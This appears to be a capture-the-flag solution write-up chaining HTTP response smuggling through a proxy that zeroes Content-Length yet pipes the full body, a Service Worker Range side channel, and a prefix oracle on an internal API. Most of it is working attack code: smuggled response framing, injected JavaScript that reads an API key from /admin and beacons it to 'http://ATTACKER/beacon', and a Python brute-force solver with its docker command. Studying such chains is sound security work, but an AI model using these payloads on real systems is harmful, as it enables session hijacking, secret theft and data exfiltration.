• Author writeup (zonkor)
• Node _http_outgoing.js L587 — body written even with Content-Length: 0
• maple3142 — Private Browsing+ (HITCON 2024), SW Range side channel
• Chromium issue 474435504 — Range response handling side channel in Service Workers
• mizu.re — client-side desync on Werkzeug

// proxy/app.js — the "defense" that becomes the bug
if (req.headers['sec-fetch-dest'] === 'script') {
    h['content-length'] = '0'      // tell the browser the body is empty...
    delete h['transfer-encoding']
}
res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)                 // ...but pipe the FULL upstream body anyway ->
                                   // leftover bytes = a smuggled HTTP response on the socket

# api/app.py — prefix oracle + Range support
results = [m for m in _INBOX if m.startswith(q)]   # match -> body echoes full flag (len 44)
data = json.dumps({"results": results}).encode()   # no match -> {"results": []} (len 15)
return send_file(io.BytesIO(data), mimetype="application/json",
                 conditional=True)                 # conditional=True -> honours HTTP Range
# Range: bytes=15-15  ->  206 iff prefix matches (byte 15 exists only in the 44-byte body), else 416

# Attacker upstream response for /view/<name>/smuggle.js (Sec-Fetch-Dest: script).
# Proxy rewrites the OUTER response to Content-Length: 0 but pipes this body verbatim.
# The body is itself a complete HTTP response -> parsed by the next queued <script>.
HTTP/1.1 200 OK\r\n
Content-Type: text/plain\r\n
Content-Length: <len(inner)>\r\n
Connection: keep-alive\r\n
\r\n
<inner>= HTTP/1.1 200 OK\r\n
         Content-Type: application/javascript\r\n
         Content-Length: <len(js)>\r\n
         Connection: keep-alive\r\n
         \r\n
         <malicious js>

// <malicious js> runs same-origin on the proxy: leak API_KEY from /admin, beacon it out
fetch('/admin', {credentials:'include'}).then(r=>r.text()).then(h=>{
  const key = (h.match(/id="api-key">([^<]+)/)||[])[1];
  new Image().src = 'http://ATTACKER/beacon?key=' + key;   // img-src * allows the cross-origin GET
});

// oracle: SW on the (secure-context) attacker origin injects a threshold Range at the API
self.addEventListener('fetch', e => {
  const u = new URL(e.request.url); if (u.pathname !== '/media') return;
  const range = e.request.headers.get('range') || '';
  e.respondWith((async () => {
    if (range === 'bytes=0-')                      // fake a 44-byte seekable resource
      return new Response(new Uint8Array([0x49]), {status:206, headers:{
        'Content-Type':'audio/mpeg','Content-Range':'bytes 0-0/44','Accept-Ranges':'bytes','Content-Length':'1'}});
    // follow-up range -> forward to the real API; 206 (match) vs 416 (no match) leaks the bit
    return fetch(`${API}/messages/search?key=${KEY}&q=${encodeURIComponent(Q)}`,
                 {mode:'no-cors', headers:{'Range':'bytes=15-43'}});
  })());
});

#!/usr/bin/env python3
# Recover the flag through the API's 206/416 Range prefix oracle. In the challenge this
# request is issued from inside the bot's browser (only host that can reach the API) with
# the API_KEY leaked from /admin; here we drive the identical oracle directly.
import argparse, http.client, urllib.parse, string, sys
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!?.@#$%^&*()+="

def oracle(host, port, key, prefix):
    conn = http.client.HTTPConnection(host, port, timeout=10)
    q = urllib.parse.quote(prefix, safe="")
    conn.request("GET", f"/messages/search?key={key}&q={q}",
                 headers={"Host": "api", "Range": "bytes=15-15"})
    r = conn.getresponse(); r.read(); conn.close()
    return r.status == 206   # 206 = prefix match, 416 = no match

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--api", default="http://127.0.0.1:9090")
    ap.add_argument("--key", required=True); ap.add_argument("--start", default="flag{")
    a = ap.parse_args(); u = urllib.parse.urlparse(a.api); host, port = u.hostname, u.port or 80
    flag = a.start
    while not flag.endswith("}"):
        for c in CHARSET:
            if oracle(host, port, a.key, flag + c): flag += c; print("[+]", flag, file=sys.stderr); break
        else: print("[!] charset exhausted at", flag, file=sys.stderr); break
    print(flag)

if __name__ == "__main__": main()

# API_KEY is derived: HMAC_SHA256(OAUTH_SECRET, "api-auth")[:16]; leaked from /admin in the real chain.
# Run from the bot's network position (the API is internal-only):
docker run --rm --network <compose>_backnet -v "$PWD/solver.py:/solver.py:ro" python:3.12-slim \
  python /solver.py --api http://api:9090 --key <API_KEY>
#  -> flag{fak3_fl4g_f0r_t3st1ng}